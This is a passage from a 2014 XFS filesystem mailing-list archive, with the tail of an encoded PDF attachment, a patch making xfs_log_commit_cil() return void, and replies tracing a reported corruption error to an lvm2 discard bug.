Vv2cx0AoPiJS+e5CRr00ql0NOO83vzR0mrSLfbf4GvvdW7mgxsrQw8MuHK1+QoD93sHJFX7dLoGy 9I3QxJYOURqjwL9Gfif8+Utv7E3Yte8uLFC/Br59tu7CkjggfavU5i69dH7MLwpiqfyyCd9IveA7 b6EscJm3P38d7/3H6l6URmAIHPqver4Tys8VbuOPvwrPIN/AU6D4guj++ImT/dkWX4Y3n6Q0YLZb yclvKrtfu/SAFUVpBO6O8k27AwKuMspfxcRni/pMzpo8wAeWHJot+pqp5u3bPfr+3adYGjrw1h59 qW3fF8P/i9IITBCX+kENxVbz7S6l0afvzXgGFxD8rqoNOGRcy8ByksWlAceY/OufsYKGWdcCIEpj 4sCTMP4dJoej5qm8SRDx0039+rnTKG/e+AizfXuvOeJnq+QlD7Yfnzf8wx4Nv+N3F0ujeKljWRCl MRW0XkT/ApNQL5LhAuEofWXgl/rMbL0ZcXDQd+ls7nFxbcuZlL0ZBCqj1/vvmF/pAN7Ib28sHaI0 Jo/fvdP2+0t2YS7q8eHz5ia+KVBQ/W4c+1KcIfFZf9vVnqAii4C6sQMVXKwv6/lUlMaEwU/Z8m9u ZMDTFp2Eu80uv1xH6PMVt0N+LLX4JZmm4TX9x+vG7/VE2NNXn6I0AhMBP9l7ud9+aR3fqGST8PMm fv2U4LheGv1/Zf9GlBP96JjGkePENX3ID7FBcWM/Qrt8iNKYAl5X3q+7CVfF/LELRHbpXX/Vr/j2 6AHRb6KXl/X8vlvovazvoIrSmAoOK1/k9nNrq8/Le3BhLCTH9kntbV234MbS2C2LEEtjk18WXz5E aUwel9UPeeC1b33e/vxRf+Du8yrdTVjtswh/xO8X/Yyfu4ZpdvvW0uIjSmPysC9my9A0P/qURvvz GYI7T9utftfu8nQVXPLjqxpb8s0j+GbcUV5AmW9EaUwcV2fVb6563nzsHddfw+hXAl/oI6yD433f WjJ9E7s0cjwCnp6sWjpEaUwcL/p8aBavd/s8RPf7dPbb9PG8AdC6lDBwydCnOAAkIag0hC8fojQm DvqR8QpwFvaZiH0n6IfrwWvjWf9p3uCHyAHyqoa+0B6lEZgkLqpXGgD8fsHNPl/5tFv5GCzh5O2g 1wJpxrfw070M+O4dXGrw0QXKwr0ov3SI0pgQ7GPllVfCGdfbT3vHdz1s9I53jwZ6Wbw56f911cXg H+RifbkPGlEaE0f/L3VLv6qv0G8FAV1OeSqQt3rciBuvpvt8Y8jL5meURqBzyEP2n96rPhfhAHxe aNudUUFdfGp2WdHvFqzheOvLzU8jwWnRDd/N+aTP0M1j3AIJlhBRGhPGev+vj/7cfMEPSAi2d+Gh /mfvi/y+0o2T9MPWj/7FsbtxdOME7zPyx+bD96bftc8yIEpjwuh3pYHASarzFC6G+UUL/ajRjdO7 t7n3abupXU00zebmjR+46HeqBStc6oNGlMZkYD9l1v55NIem+aafw2jsR8X0HVS3TdO9Zvfk03b2 W3xftrf39Fuj+6HvsFEa4gOdwmZs/U0iimaTfgwZToLoq2sRaXYOME+PNz//OD5pnr19t9Fsb376 fLx323dy9v0MH1z4nD5e5sqI0pgIrDJ+H974btnmwyr/EusWfUEzKml2vhvsk6jbm83e9tHeh+1B vnRwRb4nuo2lP2hEaUwE9k1ulzedT+GTtWv8zvQt+31Xh5uvpofBOz/574knNM2z9C1uy4kojUnA vt52374avY4tqAi6mt7e/dlrfVBiiHeh3wj3FVPXTf4dbXHQiNKYCOws6uaDBr4QfY+vNj7vbuIb RwjPtSTG/WFUPxy+FT2F203v8Q3vLFkKRGlMANd61Gj/EnOJZu1X8Yr4860j+23LL30+8DccfGXA 2ZN/XbDZguzSflKDEaUxAfzVFxx2bv25WPputGzK7n1y764d59v9sqHwmw2b5r1Ea03vGX77z1Ij SmMCsKvwWw8aMGEff+ut6VNR17u/PvX0m/8Jm+P6aFHrLerbzZX8RhlVDX9N7jIjSmMC+CtP3q73 f/+U4Z07bDTN7hH99oVDY79LORrah5/0Bt6mgauaZa+MKI1J4EouwwcpDZiXz3ufeV7++Nnb1M+F 2wf9jscxaW+c+U/pSuOWV9EXH1EakwB9dX/v9QDnU/Dgjc+i2sTV93ls8lemId6Ofk518yU2lM1a HDSiNCaCU/oJ5P3K109V0GxAGcjM5F+q7P3IX9Ggn0IeHr+a5rHQGl7C6FEZURqTwRm+0vxiwN/E /IIP6fLtN/wFVD/wN5v+cweLka4EblkYXwdstpf96SlAlMYk8AdL42DQ38RsNt6Cce+hbbZPnsOM dp+dGP5J3P0t902dzYEQB6yMUSpvYRClMRE8eN17tJ+9YfwmNM19MBLQ29KbPZqtTqNfdr07VvCb 4ATbW5V3nuCwN34ocGkQpTEZnB7e/nJfAk17ufD+QL/bRz+NtOEvnod5aD/2nxGHAexnoAxP8bs8 00cNlxlRGpPB78MbP6hR4N3GCkxdPt/nwwUafFPVx1QdP5vnN11Nt4GveLuv1an9Eho/b3vT01fL gyiNmUSztgpGAqmMXye9X7vZG9NPYK73/wqdAqsw5fMPi1ReuoDKgDO1u31d6KJiLKXxzz84DNsa IEOQcDjw8gOOQmsbbX3TRbP2jL6NmQOaw7uftne3cXK7C4EPzebRQBN5DQrDvRyyib+C1j4j22jw md2lf7GPMZ7pw6P0H+u2/EC4wyDUacRSnDLw/SBaG/SWqr2TT7v8cdZP2cf3trebrX+F9wGeSF27 d5h/a7ZP8GfQytrAeJhLmMXEeKbPbVNxLGu5bSUJ0mcsa50W1u43L3sf0zTdOrKfavpxtJWdGcEp 0Kdmu89pULMCk734ZaUPcDGOb1p8nh8goCiuojIM45k+OIqcwNCZDANDhlISNYf9rL/IIrhOZAkU ouUFKUXdZIDUVxxCMuCJ+37oRBKacjOADTi76X3Ribq13fus83hvs/2k6xHO6WZtUy89Xu6uPr23 1nzGuiieh4LzMXwKCs+vsjrAICojYTwTAWcXj8VNmUK4yOx4TpqoXENuyhDg6V8X1OYoNbUI1vJV sa0Fqc0CNvHtHNvyFO4XmM/yDQd7n/q+QIKF8GW7aR4jQfCXMGSgF7qbNaqEj+65XKxE/WGNAGA8 8yDNYR4vMYbjQCWbHD9SC2dmTS160TSF1IUI9hph3heSZEUj5zKcTX7qaNbu4WyXqKfv3fh009c/ /3z3YW/jee/pmsQFfja9d3hytQdlgx89T6Pj9181zVa81mcYzzywuS3jJcZQniYlBtxwelKeOFFq 0okdwlZCOjVaErtwSvuyRQhDBy3LSsDLoCNB/UwApip+gEMjdkdaIkMBDyT4gwRaE3pU+QgEymWg r/NZEoxnHsg0qzCGcJELJ1QkpKkpQ7AHq6IsaaE0tegSS5HTsoxvM4IGDgCpNgjpcd6wt7Vd/6Gz DM/5kx8w/7Hzh3wY+jqRZrP/17EvIcYzD3iUNLeUKYSLrI6pRsIllKYMwR6sFpM0R6mpc5pbVdLI ZUFqs4IGX3/44J5f2n2bv2yH2P78aXfvtjd3NFu7fF0hL3ZnJYY/6/E8jhk5xjIP+CQkWW06OmeY CDCA0PeXfpJEOO90WZApIeXIC1WCFrxy8+igaYaICjMD/rxrmsbpR5jsg9z4cafPx5v9fty1998m X0dIiE8DI+xLdTnXbMdLfTmmOA2GXvXdF5ylyX5HNA0+R7X3kqNeerVvd0/nNv7W5Vb9GzqhCv5r Nk/wx47tyaf/+GJlSxf4hWtomt24As8RpTHraDbwq9LSk6yKH1v69VT4JaB0UNj+9GkPO+4eb29+ gfDk7R7UxNaP3hGUSNN83OK3I+aXK8/wcPO02UpHoQBhepNm6BOXuy84W+dIdwU9T+V+k8Ygn4P9 cQTXInSdsN0cY7fj7Z/Ue5s/mbHV9L7AudIXuADfpJOurDQoaE68FCDM85xZFmzt0YWFf0O5xxZe mfMM12MLfnUuWL6spisN8NDlFxWLLw3kT/G1wUCJKI05wC++xD5qn1Uh8ByKPwTIFQF4SwSf3UI0 28d48Y5dihr4iB/5w3erSxxwiNKYC/Cn895VLwjwvGoLL7R7zdYJP8/7nCpgt+Eno5ptvniHMfKv JKRC2fxEywZKTKo05GyfbH7qL5GTWAErqQBcP3zaxIf2yjXBD/zw3/YnfA/h9q7OcqqFrRO4Agfo oQLOm/zi+KYpfDWjPWQAMaG5J6vhOS+N4TMMznOc1KVH84uOCK2Z/HT7GIqCPo3xSZ/O/X2E78DV X8yQnweEQ4Z75YLH2f681f58eIAwmbkna9EJ71dbVyRKYqDXHNEPNn3ayl+a2/wEZcEfckpVs0dX 4BL/l3TF8y2spSa+IOEGjGXyyakPn/9QwMPq4PxiNHmKU0aWQcIOgKwlBuDU6fhkD99R+2XLfWqp 2frxo7f3mY4o23YEOKHX77b2rvFNWK3ntt7RlcvH4+3teGtIf4xj8sEY+I9DSUPngCn7J4Edg4Mk Iav1C+BbQvCL1PEj4SzA8WFza7u3ecLX2z+2tu+Tys9VNZtb7gMZiqekfWs+FJ/9C+QY0+Sj6SxH C2jFqKxKDpHnKUpS6pd3CwC24bIZP2jxZcs/W7XFP27WbDVbfIDYpCS+Fl7gXUM/sA9X33v8fpFA P4xp9qXpTL4YlbNUOpThtAQSspHji/YgG8iAHwSnd1R9vvsvbTSbdJ3yfG+vadrv4A1kGNPsS9OZ fDFqypItsqWIjKOyYwDxYbM5ps9c9K5P8NmpQdE0/PL41fbxpv9G3UAdY5p9Op3xtAl8MapmE/Md UoZhed8p4LH3Wd9a/nP7CN94ewuuVptNOg+DM7KT3XjxeyCMZ/rxuRGfDlHLriw0j4QDDVPGSUkj G6hha/NEX67ofYDTo/bVtuLbClyCyMEFrlSO7DeXAzcjpt+84i3Uw39fevLNa9twWMg/pvfuS7Oy 1Ww3R/IyyPHzowY6xdO1gyJKY44B1dDb1m9UR5xsfzmGCtnCZ203+XqEcXwPfzF/E78wITAgojTm Gz8a/E7ojd6zvrP+2eaPBq7b40WMuyJKY/6BX3EI9fF44/HGf8+ad83H3vf/du83jz+AhqddcBix n5sJDIwojQUB1MbaBphmg646etvvMGg2t2/6QrfADYjSWCQc7200ayd4vd28fS9aYEhEaQQCVURp BAJVRGkEAlVEaQQCVURpBAJVRGkEAlVEaQQCVURpBAJVRGkEAlVEaQQCVURpBAJVRGkEAlVEaQQC VURpBAJVRGkEAlVEaQQCVURpBAJVRGkEAlVEaQQCVURpBAJVRGkEAlVEaQQCVURpBAJVRGkEAlVE aQQCVURpBAJVRGkEAlVEaQQCVURpBAJVRGkEAlVEaQQCVURpBAJVRGkEAlVEaQQCVURpBAJVRGkE AlVEaQQCFfR6/x9lCuuACmVuZHN0cmVhbQplbmRvYmoKMyAwIG9iago8PC9MZW5ndGggNjgvRmls dGVyL0ZsYXRlRGVjb2RlPj5zdHJlYW0KeJwr5CpUMLU0VTAAQgsTQz1TExBTz8jIwsxQITlXQT8z N91AwSVfIZArkKuQyymEy9hMwcLATCEkhcs1BCgGAMqBDewKZW5kc3RyZWFtCmVuZG9iago1IDAg b2JqCjw8L1R5cGUvUGFnZS9NZWRpYUJveFswIDAgNTk1IDg0Ml0vUmVzb3VyY2VzPDwvUHJvY1Nl dCBbL1BERiAvVGV4dCAvSW1hZ2VCIC9JbWFnZUMgL0ltYWdlSV0vWE9iamVjdDw8L2ltZzAgMiAw IFI+Pj4+L0NvbnRlbnRzIDMgMCBSL1BhcmVudCA0IDAgUj4+CmVuZG9iago0IDAgb2JqCjw8L1R5 cGUvUGFnZXMvQ291bnQgMS9LaWRzWzUgMCBSXS9JVFhUKDUuMS4zKT4+CmVuZG9iago2IDAgb2Jq Cjw8L1R5cGUvQ2F0YWxvZy9QYWdlcyA0IDAgUj4+CmVuZG9iago3IDAgb2JqCjw8L1Byb2R1Y2Vy KGNvbnZlcnRmaWxlb25saW5lLmNvbSkvQ3JlYXRpb25EYXRlKEQ6MjAxNDAxMjIxMjMyMjcrMDEn MDAnKS9Nb2REYXRlKEQ6MjAxNDAxMjIxMjMyMjcrMDEnMDAnKT4+CmVuZG9iagp4cmVmCjAgOAow MDAwMDAwMDAwIDY1NTM1IGYgCjAwMDAwMDAwMTUgMDAwMDAgbiAKMDAwMDAwMjcwMyAwMDAwMCBu IAowMDAwMDQ5NDUyIDAwMDAwIG4gCjAwMDAwNDk3NDggMDAwMDAgbiAKMDAwMDA0OTU4NiAwMDAw MCBuIAowMDAwMDQ5ODExIDAwMDAwIG4gCjAwMDAwNDk4NTYgMDAwMDAgbiAKdHJhaWxlcgo8PC9T aXplIDgvUm9vdCA2IDAgUi9JbmZvIDcgMCBSL0lEIFs8NzY1ZDhjMzExNzdhM2RhODY1ZjAwNmI3 YjA1OTk1ZjM+PDVmZjY2OGQ0ZWZiYzFjMzczOTg3ZTdkMDViYjUzNmNlPl0+PgpzdGFydHhyZWYK NDk5NzkKJSVFT0YK ------=_NextPart_000_1ABB_01CF182E.BCEE74A0-- From jeff.liu@oracle.com Thu Jan 23 06:32:57 2014 Return-Path: <jeff.liu@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1CBE97F6A for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 06:32:57 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8EAB5AC001 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 04:32:56 -0800 (PST) X-ASG-Debug-ID: 1390480374-04cbb05babb1df0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id k66qtzmVTkYUYRXK (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 04:32:55 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0NCWroY024169 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 12:32:54 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0NCWqJL025001 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 12:32:53 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0NCWqN8010383 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 12:32:52 GMT Received: from [192.168.1.106] (/123.119.103.251) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 23 Jan 2014 04:32:52 -0800 Message-ID: <52E10BED.8090607@oracle.com> Date: Thu, 23 Jan 2014 20:32:45 +0800 From: Jeff Liu <jeff.liu@oracle.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" <xfs@oss.sgi.com> Subject: [PATCH] xfs: convert xfs_log_commit_cil() to void Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfs: convert xfs_log_commit_cil() to void Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1390480375 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144393 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu <jeff.liu@oracle.com> Convert xfs_log_commit_cil() to a void function since it return nothing but 0 in any case, after that we can simplify the relative code logic in xfs_trans_commit() accordingly. Signed-off-by: Jie Liu <jeff.liu@oracle.com> --- fs/xfs/xfs_log.h | 2 +- fs/xfs/xfs_log_cil.c | 3 +-- fs/xfs/xfs_trans.c | 12 ++---------- 3 files changed, 4 insertions(+), 13 deletions(-) diff --git a/fs/xfs/xfs_log.h b/fs/xfs/xfs_log.h index e148719..67927c3 100644 --- a/fs/xfs/xfs_log.h +++ b/fs/xfs/xfs_log.h @@ -129,7 +129,7 @@ void xlog_iodone(struct xfs_buf *); struct xlog_ticket *xfs_log_ticket_get(struct xlog_ticket *ticket); void xfs_log_ticket_put(struct xlog_ticket *ticket); -int xfs_log_commit_cil(struct xfs_mount *mp, struct xfs_trans *tp, +void xfs_log_commit_cil(struct xfs_mount *mp, struct xfs_trans *tp, xfs_lsn_t *commit_lsn, int flags); bool xfs_log_item_in_current_chkpt(struct xfs_log_item *lip); diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index 5eb51fc..bb1027a 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -740,7 +740,7 @@ xlog_cil_empty( * background commit, returns without it held once background commits are * allowed again. */ -int +void xfs_log_commit_cil( struct xfs_mount *mp, struct xfs_trans *tp, @@ -786,7 +786,6 @@ xfs_log_commit_cil( xlog_cil_push_background(log); up_read(&cil->xc_ctx_lock); - return 0; } /* diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index c812c5c..54a5732 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -887,12 +887,7 @@ xfs_trans_commit( xfs_trans_apply_sb_deltas(tp); xfs_trans_apply_dquot_deltas(tp); - error = xfs_log_commit_cil(mp, tp, &commit_lsn, flags); - if (error == ENOMEM) { - xfs_force_shutdown(mp, SHUTDOWN_LOG_IO_ERROR); - error = XFS_ERROR(EIO); - goto out_unreserve; - } + xfs_log_commit_cil(mp, tp, &commit_lsn, flags); current_restore_flags_nested(&tp->t_pflags, PF_FSTRANS); xfs_trans_free(tp); @@ -902,10 +897,7 @@ xfs_trans_commit( * log out now and wait for it. */ if (sync) { - if (!error) { - error = _xfs_log_force_lsn(mp, commit_lsn, - XFS_LOG_SYNC, NULL); - } + error = _xfs_log_force_lsn(mp, commit_lsn, XFS_LOG_SYNC, NULL); XFS_STATS_INC(xs_trans_sync); } else { XFS_STATS_INC(xs_trans_async); -- 1.8.3.2 From eflorac@intellique.com Thu Jan 23 08:20:03 2014 Return-Path: <eflorac@intellique.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A4E977F6D for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 08:20:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 39088AC005 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 06:20:00 -0800 (PST) X-ASG-Debug-ID: 1390486794-04cb6c7509b4f70001-NocioJ Received: from mail1.g1.pair.com (mail1.g1.pair.com [66.39.3.162]) by cuda.sgi.com with ESMTP id eA9HBpFExvducZ0k for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 06:19:54 -0800 (PST) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 66.39.3.162 Received: from localhost (localhost [127.0.0.1]) by mail1.g1.pair.com (Postfix) with SMTP id 5895328D94; Thu, 23 Jan 2014 09:19:54 -0500 (EST) Received: from harpe.intellique.com (labo.djinux.com [82.225.196.72]) by mail1.g1.pair.com (Postfix) with ESMTPSA id 6C0B728973; Thu, 23 Jan 2014 09:19:53 -0500 (EST) Date: Thu, 23 Jan 2014 15:19:43 +0100 From: Emmanuel Florac <eflorac@intellique.com> To: Sascha Askani <saskani@inovex.de> Cc: xfs@oss.sgi.com Subject: Re: Weird XFS Corruption Error Message-ID: <20140123151943.281baa04@harpe.intellique.com> X-ASG-Orig-Subj: Re: Weird XFS Corruption Error In-Reply-To: <CDBC891F-BCF6-4B9B-ADDB-9E143973D188@inovex.de> References: <CDBC891F-BCF6-4B9B-ADDB-9E143973D188@inovex.de> Organization: Intellique X-Mailer: Claws Mail 3.9.2 (GTK+ 2.24.20; i486-slackware-linux-gnu) Mime-Version: 1.0 Content-Type: multipart/signed; micalg=PGP-SHA1; boundary="Sig_//IsVBLCDX1E5Gr4hMKdOlw."; protocol="application/pgp-signature" X-Barracuda-Connect: mail1.g1.pair.com[66.39.3.162] X-Barracuda-Start-Time: 1390486794 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144396 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --Sig_//IsVBLCDX1E5Gr4hMKdOlw. Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Le Wed, 22 Jan 2014 17:09:10 +0100 Sascha Askani <saskani@inovex.de> =E9crivait: > Internal error xfs_bmbt_read_verify at line 789=20 ... > metadata I/O error: block 0x1f0 ("xfs_trans_read_buf_map") error 117 > numblks 8 A quick glance at the source code seems to indicate that there was an actual CRC error (on disk) at this point, so that could be a RAID problem; OTOH it looks really similar to an older bug : http://oss.sgi.com/archives/xfs/2013-02/msg00482.html AFAIK this one could be related to the current Ubuntu LTS lvm stack... We need Dave's advice on this one. Was there nothing in the xfs_repair output? nothing in lost+found either? --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | <eflorac@intellique.com> | +33 1 78 94 84 02 ------------------------------------------------------------------------ --Sig_//IsVBLCDX1E5Gr4hMKdOlw. Content-Type: application/pgp-signature; name=signature.asc Content-Disposition: attachment; filename=signature.asc -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEUEARECAAYFAlLhJP8ACgkQX3jQXNUicVY6mACWKs1UPu0Nli8MqwrQ4rhvUFxP 3ACg7DBJoisPj0jo3I3C00iN0UO1z7M= =LE3c -----END PGP SIGNATURE----- --Sig_//IsVBLCDX1E5Gr4hMKdOlw.-- From eflorac@intellique.com Thu Jan 23 08:29:58 2014 Return-Path: <eflorac@intellique.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EEDEC7F6F for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 08:29:57 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7C701AC003 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 06:29:57 -0800 (PST) X-ASG-Debug-ID: 1390487392-04cbb05babb4530001-NocioJ Received: from mail1.g1.pair.com (mail1.g1.pair.com [66.39.3.162]) by cuda.sgi.com with ESMTP id 0mwZgfh7ypAKnXes for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 06:29:52 -0800 (PST) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 66.39.3.162 Received: from localhost (localhost [127.0.0.1]) by mail1.g1.pair.com (Postfix) with SMTP id 98D192B73E; Thu, 23 Jan 2014 09:29:52 -0500 (EST) Received: from harpe.intellique.com (labo.djinux.com [82.225.196.72]) by mail1.g1.pair.com (Postfix) with ESMTPSA id 990872B4C1; Thu, 23 Jan 2014 09:29:51 -0500 (EST) Date: Thu, 23 Jan 2014 15:29:35 +0100 From: Emmanuel Florac <eflorac@intellique.com> To: Emmanuel Florac <eflorac@intellique.com> Cc: Sascha Askani <saskani@inovex.de>, xfs@oss.sgi.com Subject: Re: Weird XFS Corruption Error Message-ID: <20140123152935.0f555074@harpe.intellique.com> X-ASG-Orig-Subj: Re: Weird XFS Corruption Error In-Reply-To: <20140123151943.281baa04@harpe.intellique.com> References: <CDBC891F-BCF6-4B9B-ADDB-9E143973D188@inovex.de> <20140123151943.281baa04@harpe.intellique.com> Organization: Intellique X-Mailer: Claws Mail 3.9.2 (GTK+ 2.24.20; i486-slackware-linux-gnu) Mime-Version: 1.0 Content-Type: multipart/signed; micalg=PGP-SHA1; boundary="Sig_/pdTAmy/2EJBkN0dAd.r5nrH"; protocol="application/pgp-signature" X-Barracuda-Connect: mail1.g1.pair.com[66.39.3.162] X-Barracuda-Start-Time: 1390487392 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144396 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address --Sig_/pdTAmy/2EJBkN0dAd.r5nrH Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Le Thu, 23 Jan 2014 15:19:43 +0100 Emmanuel Florac <eflorac@intellique.com> =E9crivait: > OTOH it looks really similar to an older bug : >=20 > http://oss.sgi.com/archives/xfs/2013-02/msg00482.html >=20 > AFAIK this one could be related to the current Ubuntu LTS lvm stack... > We need Dave's advice on this one. >=20 Yes, I guess we're getting closer: https://www.redhat.com/archives/dm-devel/2013-February/msg00113.html "It's reproducable on lots of different kernels, apparently - 3.8, 3.4.33, CentOS 6.3, debian sid/wheezy and Fedora 18 were mentioned specifically by the OP - so it doesn't look like a recent regression or constrained to a specific kernel." And https://www.redhat.com/archives/dm-devel/2013-February/msg00122.html : "Was issue_discards enabled in lvm.conf? If so, as Alasdair said, this lvm2 2.02.97 fix is needed: http://git.fedorahosted.org/cgit/lvm2.git/commit/?id=3D07a25c249b3e " What is the version of lvm ( dpkg -l lvm2 )? --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | <eflorac@intellique.com> | +33 1 78 94 84 02 ------------------------------------------------------------------------ --Sig_/pdTAmy/2EJBkN0dAd.r5nrH Content-Type: application/pgp-signature; name=signature.asc Content-Disposition: attachment; filename=signature.asc -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlLhJ08ACgkQX3jQXNUicVYiRACglx4OHXmPvU1dVJrYKO3ysbla 5vkAnjZewUX0YVyjLBGrwcxMVsZ4Jo8r =zqen -----END PGP SIGNATURE----- --Sig_/pdTAmy/2EJBkN0dAd.r5nrH-- From DHays@nhcc.edu Thu Jan 23 10:59:43 2014 Return-Path: <DHays@nhcc.edu> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.5 required=5.0 tests=EMAIL_URI_PHISH,HTML_MESSAGE, SUBJ_ALL_CAPS autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E0DDF7F74 for <linux-xfs@oss.sgi.com>; Thu, 23 Jan 2014 10:59:43 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 481CB8F8065 for <linux-xfs@oss.sgi.com>; Thu, 23 Jan 2014 08:59:38 -0800 (PST) X-ASG-Debug-ID: 1390496374-04cbb05ba9b9950001-w1Z2WR Received: from mail.nhcc.edu (mail.nhcc.edu [134.29.149.20]) by cuda.sgi.com with ESMTP id 42amAO9N3lm5cTlK (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Thu, 23 Jan 2014 08:59:35 -0800 (PST) X-Barracuda-Envelope-From: DHays@nhcc.edu X-Barracuda-Apparent-Source-IP: 134.29.149.20 Received: from NH-DAG2.nhccad.nhcc.edu ([fe80::c037:37b8:5dfa:4af0]) by NH-CAS.nhccad.nhcc.edu ([10.20.114.91]) with mapi id 14.03.0158.001; Thu, 23 Jan 2014 10:59:34 -0600 From: David Hays <DHays@nhcc.edu> To: David Hays <DHays@nhcc.edu> Subject: RE: CLEANUP Thread-Topic: CLEANUP X-ASG-Orig-Subj: RE: CLEANUP Thread-Index: Ac8YWnnN3yIYTlM2ThKET/ngrtbZ0gAAfMgv Date: Thu, 23 Jan 2014 